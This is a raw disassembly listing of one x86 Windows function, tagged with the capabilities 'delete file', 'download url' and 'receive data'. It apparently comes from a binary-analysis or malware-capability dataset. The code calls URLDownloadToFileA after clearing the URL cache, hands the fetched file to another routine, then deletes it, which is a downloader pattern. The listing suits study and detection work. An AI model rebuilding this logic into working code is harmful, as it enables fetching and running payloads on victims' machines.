Function at 0x40c868
Capabilities:
Delete file
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffe60
push ebx
push esi
push edi
mov dword [ebp - 0x184], eax
lea ebx, [ebp - 0x180]
mov edi, 0x4cde4f
mov eax, 0x4ce4d0
call fcn.00490d08
mov word [ebx + 0x10], 0x14
mov edx, edi
lea eax, [ebp - 4]
call fcn.0049c954
inc dword [ebx + 0x1c]
mov edx, edi
mov word [ebx + 0x10], 8
mov word [ebx + 0x10], 0x20
lea eax, [ebp - 8]
call fcn.0049c954
inc dword [ebx + 0x1c]
mov word [ebx + 0x10], 8
mov dword [ebp - 0x18c], 1
cmp dword [ebp - 0x18c], 0xf0
ja 0x40c8ec
mov edx, dword [ebp - 0x18c]
mov dword [ebp - 0x188], edx
jmp 0x40c8fe
mov ecx, dword [ebp - 0x18c]
sub ecx, 0xf0
mov dword [ebp - 0x188], ecx
mov word [ebx + 0x10], 0x2c
mov edx, edi
lea eax, [ebp - 0xc]
call fcn.0049c954
inc dword [ebx + 0x1c]
lea edx, [ebp - 0xc]
lea eax, [ebp - 8]
call fcn.0049cac8
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.0049ca98
cmp dword [ebp - 0x18c], 0xf
jae 0x40c948
mov edx, dword [ebp - 0x184]
lea eax, [ebp - 8]
add edx, 0x30
call fcn.0049cac8
jmp 0x40c975
test byte [ebp - 0x18c], 1
jne 0x40c964
mov edx, dword [ebp - 0x184]
lea eax, [ebp - 8]
add edx, 0x34
call fcn.0049cac8
jmp 0x40c975
mov edx, dword [ebp - 0x184]
lea eax, [ebp - 8]
add edx, 0x30
call fcn.0049cac8
mov word [ebx + 0x10], 0x38
mov edx, edi
lea eax, [ebp - 0x10]
call fcn.0049c954
inc dword [ebx + 0x1c]
lea edx, [ebp - 0x10]
lea eax, [ebp - 8]
call fcn.0049cb7c
push eax
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.0049ca98
pop ecx
test cl, cl
jne 0x40dc85
push edi
mov esi, 0x4cce40
lea edi, [ebp - 0x5a0]
mov ecx, 0x100
rep movsd dword es:[edi], dword [esi]
pop edi
mov word [ebx + 0x10], 8
cmp dword [ebp - 8], 0
je 0x40c9d5
mov eax, dword [ebp - 8]
mov esi, dword [eax - 4]
jmp 0x40c9d7
xor esi, esi
dec esi
test esi, esi
jbe 0x40cab2
mov dword [ebp - 0x190], esi
mov eax, dword [ebp - 0x190]
push eax
lea edx, [ebp - 8]
push edx
call fcn.0049c8d0
add esp, 8
lea eax, [ebp - 8]
call fcn.0049cbac
mov edx, dword [ebp - 0x190]
add edx, dword [ebp - 8]
dec edx
xor ecx, ecx
mov cl, byte [edx]
cmp ecx, 0x2f
je 0x40ca48
mov dword [ebp - 0x194], esi
mov eax, dword [ebp - 0x194]
push eax
lea edx, [ebp - 8]
push edx
call fcn.0049c8d0
add esp, 8
lea eax, [ebp - 8]
call fcn.0049cbac
mov edx, dword [ebp - 0x194]
add edx, dword [ebp - 8]
dec edx
xor ecx, ecx
mov cl, byte [edx]
cmp ecx, 0x5c
jne 0x40caa9
push 0x400
xor eax, eax
mov word [ebx + 0x10], 0x44
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x14]
push edx
inc dword [ebx + 0x1c]
cmp dword [ebp - 8], 0
je 0x40ca6d
mov ecx, dword [ebp - 8]
mov ecx, dword [ecx - 4]
jmp 0x40ca6f
xor ecx, ecx
lea edx, [esi + 1]
lea eax, [ebp - 8]
call fcn.0049cc8c
cmp dword [ebp - 0x14], 0
je 0x40ca85
mov eax, dword [ebp - 0x14]
jmp 0x40ca87
mov eax, edi
push eax
lea edx, [ebp - 0x5a0]
push edx
call fcn.004119e8
add esp, 0xc
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.0049ca98
jmp 0x40cab2
dec esi
test esi, esi
ja 0x40c9e0
mov ecx, dword [0x4cd241]
lea edx, [edi + 2]
mov dword [ebp - 0x1a0], ecx
mov ecx, dword [0x4cd245]
mov dword [ebp - 0x19c], ecx
mov cx, word [0x4cd249]
mov word [ebp - 0x198], cx
lea ecx, [ebp - 0x1a0]
mov word [ebx + 0x10], 8
mov eax, dword [ebp - 0x188]
push eax
push edx
push 0xa
push ecx
call fcn.00493644
add esp, 0x10
push edi
mov esi, 0x4cd24c
lea edi, [ebp - 0x9a0]
mov ecx, 0x100
rep movsd dword es:[edi], dword [esi]
pop edi
push 0x400
call fcn.00402b64
push eax
lea eax, [ebp - 0x9a0]
push eax
call fcn.004119e8
add esp, 0xc
push 0x400
lea edx, [ebp - 0x9a0]
push edx
call fcn.0041203c
add esp, 8
push 0x400
lea ecx, [ebp - 0x1a0]
push ecx
lea eax, [ebp - 0x9a0]
push eax
call fcn.004119a0
add esp, 0xc
push 0x400
lea edx, [ebp - 0x5a0]
push edx
lea ecx, [ebp - 0x9a0]
push ecx
call fcn.004119a0
add esp, 0xc
mov esi, 0x4cd64d
mov ecx, 0x100
lea eax, [ebp - 0x9a0]
push edi
lea edi, [ebp - 0xda0]
rep movsd dword es:[edi], dword [esi]
pop edi
push 0x400
push eax
lea edx, [ebp - 0xda0]
push edx
call fcn.004119e8
add esp, 0xc
push 0x400
lea ecx, [edi + 7]
push ecx
lea eax, [ebp - 0xda0]
push eax
call fcn.004119a0
add esp, 0xc
push 0x400
lea edx, [edi + 0x1c]
push edx
lea ecx, [ebp - 0xda0]
push ecx
call fcn.004119a0
add esp, 0xc
push 0x400
mov eax, dword [ebp - 0x184]
add eax, 0x38
cmp dword [eax], 0
je 0x40cbe8
mov edx, dword [eax]
jmp 0x40cbea
mov edx, edi
push edx
lea eax, [ebp - 0xda0]
push eax
call fcn.004119a0
add esp, 0xc
cmp dword [ebp - 0x18c], 1
jne 0x40ccc9
mov word [ebx + 0x10], 0x50
xor ecx, ecx
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x18]
inc dword [ebx + 0x1c]
lea edx, [ebp - 8]
lea eax, [edi + 0x1e]
call fcn.0049cd70
lea eax, [ebp - 0x18]
push eax
lea edx, [edi + 0x48]
lea eax, [ebp - 0x1c]
call fcn.0049c954
inc dword [ebx + 0x1c]
xor ecx, ecx
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x20]
inc dword [ebx + 0x1c]
lea edx, [ebp - 0x1c]
pop eax
call fcn.0049caf0
lea eax, [ebp - 0x20]
xor edx, edx
mov dword [ebp - 0x24], edx
lea ecx, [ebp - 0x24]
inc dword [ebx + 0x1c]
mov edx, dword [ebp - 0x184]
add edx, 0x38
call fcn.0049caf0
lea edx, [ebp - 0x24]
lea eax, [ebp - 4]
call fcn.0049cac8
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x20]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.0049ca98
cmp dword [ebp - 4], 0
je 0x40ccbb
mov ecx, dword [ebp - 4]
jmp 0x40ccbd
mov ecx, edi
push ecx
call fcn.004289e8
pop ecx
jmp 0x40cd96
cmp dword [ebp - 0x18c], 0xf1
jne 0x40cd96
mov word [ebx + 0x10], 0x5c
xor eax, eax
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x28]
inc dword [ebx + 0x1c]
lea edx, [ebp - 8]
lea eax, [edi + 0x56]
call fcn.0049cd70
lea eax, [ebp - 0x28]
push eax
lea edx, [edi + 0x48]
lea eax, [ebp - 0x2c]
call fcn.0049c954
inc dword [ebx + 0x1c]
xor ecx, ecx
mov dword [ebp - 0x30], ecx
lea ecx, [ebp - 0x30]
inc dword [ebx + 0x1c]
lea edx, [ebp - 0x2c]
pop eax
call fcn.0049caf0
lea eax, [ebp - 0x30]
xor edx, edx
mov dword [ebp - 0x34], edx
lea ecx, [ebp - 0x34]
inc dword [ebx + 0x1c]
mov edx, dword [ebp - 0x184]
add edx, 0x38
call fcn.0049caf0
lea edx, [ebp - 0x34]
lea eax, [ebp - 4]
call fcn.0049cac8
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x30]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x2c]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.0049ca98
cmp dword [ebp - 4], 0
je 0x40cd8d
mov ecx, dword [ebp - 4]
jmp 0x40cd8f
mov ecx, edi
push ecx
call fcn.004289e8
pop ecx
mov word [ebx + 0x10], 0x68
xor eax, eax
lea edx, [ebp - 0x70]
mov dword [ebp - 0x70], eax
mov eax, 0xf0
inc dword [ebx + 0x1c]
call fcn.00441c64
lea edx, [ebp - 0x70]
xor ecx, ecx
push edx
mov dword [ebp - 0x60], ecx
inc dword [ebx + 0x1c]
lea edx, [ebp - 0x60]
mov eax, dword [ebp - 0x188]
call fcn.00441c64
lea ecx, [ebp - 0x60]
push ecx
xor eax, eax
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x38]
inc dword [ebx + 0x1c]
lea edx, [ebp - 8]
lea eax, [edi + 0x7f]
call fcn.0049cd70
lea edx, [ebp - 0x38]
push edx
lea edx, [edi + 0x48]
lea eax, [ebp - 0x3c]
call fcn.0049c954
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x40], eax
lea edx, [ebp - 0x3c]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x40]
pop eax
call fcn.0049caf0
lea eax, [ebp - 0x40]
xor edx, edx
mov dword [ebp - 0x44], edx
lea ecx, [ebp - 0x44]
inc dword [ebx + 0x1c]
mov edx, dword [ebp - 0x184]
add edx, 0x38
call fcn.0049caf0
lea eax, [ebp - 0x44]
push eax
lea edx, [edi + 0xa6]
lea eax, [ebp - 0x48]
call fcn.0049c954
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x4c], eax
lea edx, [ebp - 0x48]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x4c]
pop eax
call fcn.0049caf0
lea edx, [ebp - 0x4c]
push edx
lea edx, [ebp - 0x9a0]
lea eax, [ebp - 0x50]
call fcn.0049c954
mov edx, eax
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x54], eax
lea ecx, [ebp - 0x54]
inc dword [ebx + 0x1c]
pop eax
call fcn.0049caf0
lea edx, [ebp - 0x54]
push edx
lea edx, [edi + 0xb1]
lea eax, [ebp - 0x58]
call fcn.0049c954
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x5c], eax
lea edx, [ebp - 0x58]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x5c]
pop eax
call fcn.0049caf0
lea eax, [ebp - 0x5c]
xor edx, edx
mov dword [ebp - 0x64], edx
lea ecx, [ebp - 0x64]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049caf0
lea eax, [ebp - 0x64]
push eax
lea edx, [edi + 0xbe]
lea eax, [ebp - 0x68]
call fcn.0049c954
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x6c], eax
lea edx, [ebp - 0x68]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x6c]
pop eax
call fcn.0049caf0
lea eax, [ebp - 0x6c]
xor edx, edx
mov dword [ebp - 0x74], edx
lea ecx, [ebp - 0x74]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049caf0
lea edx, [ebp - 0x74]
lea eax, [ebp - 4]
call fcn.0049cac8
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x74]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x70]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x6c]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x68]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x64]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x60]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x5c]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x58]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x54]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x50]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x4c]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x40]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x3c]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x38]
mov edx, 2
call fcn.0049ca98
cmp dword [ebp - 4], 0
je 0x40d008
mov ecx, dword [ebp - 4]
jmp 0x40d00a
mov ecx, edi
push ecx
call fcn.004289e8
pop ecx
push edi
mov esi, 0x4cda4e
lea edi, [ebp - 0x11a0]
mov ecx, 0x100
rep movsd dword es:[edi], dword [esi]
pop edi
mov word [ebx + 0x10], 8
push 0x400
cmp dword [ebp - 8], 0
je 0x40d03b
mov eax, dword [ebp - 8]
jmp 0x40d03d
mov eax, edi
push eax
lea edx, [ebp - 0x11a0]
push edx
call fcn.004119e8
add esp, 0xc
lea ecx, [ebp - 0x11a0]
push ecx
call sub.WININET.DLL_DeleteUrlCacheEntry
push 0
push 0
lea eax, [ebp - 0x9a0]
push eax
lea edx, [ebp - 0x11a0]
push edx
push 0
call sub.URLMON.DLL_URLDownloadToFileA
mov esi, eax
test esi, esi
jne 0x40d5e0
mov word [ebx + 0x10], 0x74
xor eax, eax
lea edx, [ebp - 0xb4]
mov dword [ebp - 0xb4], eax
mov eax, 0xf0
inc dword [ebx + 0x1c]
call fcn.00441c64
lea edx, [ebp - 0xb4]
xor ecx, ecx
push edx
mov dword [ebp - 0xa4], ecx
inc dword [ebx + 0x1c]
lea edx, [ebp - 0xa4]
mov eax, dword [ebp - 0x188]
call fcn.00441c64
lea ecx, [ebp - 0xa4]
push ecx
xor eax, eax
mov dword [ebp - 0x78], eax
lea ecx, [ebp - 0x78]
inc dword [ebx + 0x1c]
lea edx, [ebp - 8]
lea eax, [edi + 0xc0]
call fcn.0049cd70
lea edx, [ebp - 0x78]
push edx
lea edx, [edi + 0xa6]
lea eax, [ebp - 0x7c]
call fcn.0049c954
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x80], eax
lea edx, [ebp - 0x7c]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x80]
pop eax
call fcn.0049caf0
lea edx, [ebp - 0x80]
push edx
lea edx, [ebp - 0x9a0]
lea eax, [ebp - 0x84]
call fcn.0049c954
mov edx, eax
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x88], eax
lea ecx, [ebp - 0x88]
inc dword [ebx + 0x1c]
pop eax
call fcn.0049caf0
lea edx, [ebp - 0x88]
push edx
lea edx, [edi + 0xde]
lea eax, [ebp - 0x8c]
call fcn.0049c954
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x90], eax
lea edx, [ebp - 0x8c]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x90]
pop eax
call fcn.0049caf0
lea edx, [ebp - 0x90]
push edx
lea ecx, [ebp - 0x9a0]
push ecx
call fcn.00411180
pop ecx
mov edx, eax
lea eax, [ebp - 0x94]
call fcn.0049c954
mov edx, eax
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x98], eax
lea ecx, [ebp - 0x98]
inc dword [ebx + 0x1c]
pop eax
call fcn.0049caf0
lea edx, [ebp - 0x98]
push edx
lea edx, [edi + 0xb1]
lea eax, [ebp - 0x9c]
call fcn.0049c954
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0xa0], eax
lea edx, [ebp - 0x9c]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0xa0]
pop eax
call fcn.0049caf0
lea eax, [ebp - 0xa0]
xor edx, edx
mov dword [ebp - 0xa8], edx
lea ecx, [ebp - 0xa8]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049caf0
lea eax, [ebp - 0xa8]
push eax
lea edx, [edi + 0xbe]
lea eax, [ebp - 0xac]
call fcn.0049c954
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0xb0], eax
lea edx, [ebp - 0xac]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0xb0]
pop eax
call fcn.0049caf0
lea eax, [ebp - 0xb0]
xor edx, edx
mov dword [ebp - 0xb8], edx
lea ecx, [ebp - 0xb8]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049caf0
lea edx, [ebp - 0xb8]
lea eax, [ebp - 4]
call fcn.0049cac8
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xb8]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xb4]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xb0]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xac]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xa8]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xa4]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xa0]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x9c]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x98]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x94]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x90]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x8c]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x88]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x84]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x80]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x7c]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x78]
mov edx, 2
call fcn.0049ca98
cmp dword [ebp - 4], 0
je 0x40d3ac
mov ecx, dword [ebp - 4]
jmp 0x40d3ae
mov ecx, edi
push ecx
call fcn.004289e8
pop ecx
xor eax, eax
mov word [ebx + 0x10], 0x80
mov dword [ebp - 0xdc], eax
mov eax, 0xf0
inc dword [ebx + 0x1c]
lea edx, [ebp - 0xdc]
call fcn.00441c64
lea edx, [ebp - 0xdc]
xor ecx, ecx
push edx
mov dword [ebp - 0xcc], ecx
inc dword [ebx + 0x1c]
lea edx, [ebp - 0xcc]
mov eax, dword [ebp - 0x188]
call fcn.00441c64
lea ecx, [ebp - 0xcc]
push ecx
lea edx, [ebp - 0xda0]
lea eax, [ebp - 0xbc]
call fcn.0049c954
inc dword [ebx + 0x1c]
mov edx, eax
xor eax, eax
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0xc0], eax
lea eax, [edi + 0xe5]
inc dword [ebx + 0x1c]
call fcn.0049cd70
lea edx, [ebp - 0xc0]
push edx
lea edx, [edi + 0xb1]
lea eax, [ebp - 0xc4]
call fcn.0049c954
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0xc8], eax
lea edx, [ebp - 0xc4]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0xc8]
pop eax
call fcn.0049caf0
lea eax, [ebp - 0xc8]
xor edx, edx
mov dword [ebp - 0xd0], edx
lea ecx, [ebp - 0xd0]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049caf0
lea eax, [ebp - 0xd0]
push eax
lea edx, [edi + 0xbe]
lea eax, [ebp - 0xd4]
call fcn.0049c954
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0xd8], eax
lea edx, [ebp - 0xd4]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0xd8]
pop eax
call fcn.0049caf0
lea eax, [ebp - 0xd8]
xor edx, edx
mov dword [ebp - 0xe0], edx
lea ecx, [ebp - 0xe0]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049caf0
lea edx, [ebp - 0xe0]
lea eax, [ebp - 4]
call fcn.0049cac8
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xe0]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xdc]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xd8]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xd4]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xd0]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xcc]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xc8]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xc4]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xc0]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xbc]
mov edx, 2
call fcn.0049ca98
cmp dword [ebp - 4], 0
je 0x40d5b3
mov ecx, dword [ebp - 4]
jmp 0x40d5b5
mov ecx, edi
push ecx
call fcn.004289e8
pop ecx
push 1
push 1
lea eax, [ebp - 0xda0]
push eax
call fcn.0040fe90
add esp, 0xc
lea edx, [ebp - 0x9a0]
push edx
call sub.KERNEL32.DLL_DeleteFileA
jmp 0x40dc85
cmp esi, 0x8007000e
jne 0x40d7d2
mov word [ebx + 0x10], 0x8c
xor eax, eax
lea edx, [ebp - 0x100]
mov dword [ebp - 0x100], eax
mov eax, 0xf0
inc dword [ebx + 0x1c]
call fcn.00441c64
lea edx, [ebp - 0x100]
xor ecx, ecx
push edx
mov dword [ebp - 0xf0], ecx
inc dword [ebx + 0x1c]
lea edx, [ebp - 0xf0]
mov eax, dword [ebp - 0x188]
call fcn.00441c64
lea ecx, [ebp - 0xf0]
push ecx
xor eax, eax
mov dword [ebp - 0xe4], eax
lea ecx, [ebp - 0xe4]
inc dword [ebx + 0x1c]
lea edx, [ebp - 8]
lea eax, [edi + 0x103]
call fcn.0049cd70
lea edx, [ebp - 0xe4]
push edx
lea edx, [edi + 0xb1]
lea eax, [ebp - 0xe8]
call fcn.0049c954
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0xec], eax
lea edx, [ebp - 0xe8]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0xec]
pop eax
call fcn.0049caf0
lea eax, [ebp - 0xec]
xor edx, edx
mov dword [ebp - 0xf4], edx
lea ecx, [ebp - 0xf4]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049caf0
lea eax, [ebp - 0xf4]
push eax
lea edx, [edi + 0xbe]
lea eax, [ebp - 0xf8]
call fcn.0049c954
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0xfc], eax
lea edx, [ebp - 0xf8]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0xfc]
pop eax
call fcn.0049caf0
lea eax, [ebp - 0xfc]
xor edx, edx
mov dword [ebp - 0x104], edx
lea ecx, [ebp - 0x104]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049caf0
lea edx, [ebp - 0x104]
lea eax, [ebp - 4]
call fcn.0049cac8
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x104]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x100]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xfc]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xf8]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xf4]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xf0]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xec]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xe8]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xe4]
mov edx, 2
call fcn.0049ca98
cmp dword [ebp - 4], 0
je 0x40d7c4
mov ecx, dword [ebp - 4]
jmp 0x40d7c6
mov ecx, edi
push ecx
call fcn.004289e8
pop ecx
jmp 0x40dc65
cmp esi, 0x800c0008
jne 0x40d9c4
mov word [ebx + 0x10], 0x98
xor eax, eax
lea edx, [ebp - 0x124]
mov dword [ebp - 0x124], eax
mov eax, 0xf0
inc dword [ebx + 0x1c]
call fcn.00441c64
lea edx, [ebp - 0x124]
xor ecx, ecx
push edx
mov dword [ebp - 0x114], ecx
inc dword [ebx + 0x1c]
lea edx, [ebp - 0x114]
mov eax, dword [ebp - 0x188]
call fcn.00441c64
lea ecx, [ebp - 0x114]
push ecx
xor eax, eax
mov dword [ebp - 0x108], eax
lea ecx, [ebp - 0x108]
inc dword [ebx + 0x1c]
lea edx, [ebp - 8]
lea eax, [edi + 0x131]
call fcn.0049cd70
lea edx, [ebp - 0x108]
push edx
lea edx, [edi + 0xb1]
lea eax, [ebp - 0x10c]
call fcn.0049c954
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x110], eax
lea edx, [ebp - 0x10c]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x110]
pop eax
call fcn.0049caf0
lea eax, [ebp - 0x110]
xor edx, edx
mov dword [ebp - 0x118], edx
lea ecx, [ebp - 0x118]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049caf0
lea eax, [ebp - 0x118]
push eax
lea edx, [edi + 0xbe]
lea eax, [ebp - 0x11c]
call fcn.0049c954
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x120], eax
lea edx, [ebp - 0x11c]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x120]
pop eax
call fcn.0049caf0
lea eax, [ebp - 0x120]
xor edx, edx
mov dword [ebp - 0x128], edx
lea ecx, [ebp - 0x128]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049caf0
lea edx, [ebp - 0x128]
lea eax, [ebp - 4]
call fcn.0049cac8
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x128]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x124]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x120]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x11c]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x118]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x114]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x110]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x10c]
mov edx, 2
call fcn.0049ca98
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x108]
mov edx, 2
call fcn.0049ca98
cmp dword [ebp - 4], 0
je 0x40d9b6
mov ecx, dword [ebp - 4]
jmp 0x40d9b8
mov ecx, edi
push ecx
call fcn.004289e8
pop ecx
jmp 0x40dc65
mov word [ebx + 0x10], 0xa4
xor eax, eax
lea edx, [ebp - 0x158]
mov dword [ebp - 0x158], eax
mov eax, 0xf0
inc dword [ebx + 0x1c]
call fcn.00441c64
lea edx, [ebp - 0x158]
xor ecx, ecx
push edx
mov dword [ebp - 0x148], ecx
inc dword [ebx + 0x1c]
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 0x188]
call fcn.00441c64
lea ecx, [ebp - 0x148]
xor eax, eax
push ecx
mov dword [ebp - 0x138], eax
inc dword [ebx + 0x1c]
mov eax, esi
lea edx, [ebp - 0x138]
call fcn.00402af8
lea edx, [ebp - 0x138]
push edx
xor ecx, ecx
mov dword [ebp - 0x12c], ecx
lea ecx, [ebp - 0x12c]
inc dword [ebx + 0x1c]
lea edx, [ebp - 8]
lea eax, [edi + 0x169]
call fcn.0049cd70
lea eax, [ebp - 0x12c]
push eax
lea edx, [edi + 0x191]
lea eax, [ebp - 0x130]
call fcn.0049c954
inc dword [ebx + 0x1c]
xor ecx, ecx
mov dword [ebp - 0x134], ecx
lea ecx, [ebp - 0x134]
inc dword [ebx + 0x1c]
lea edx, [ebp - 0x130]
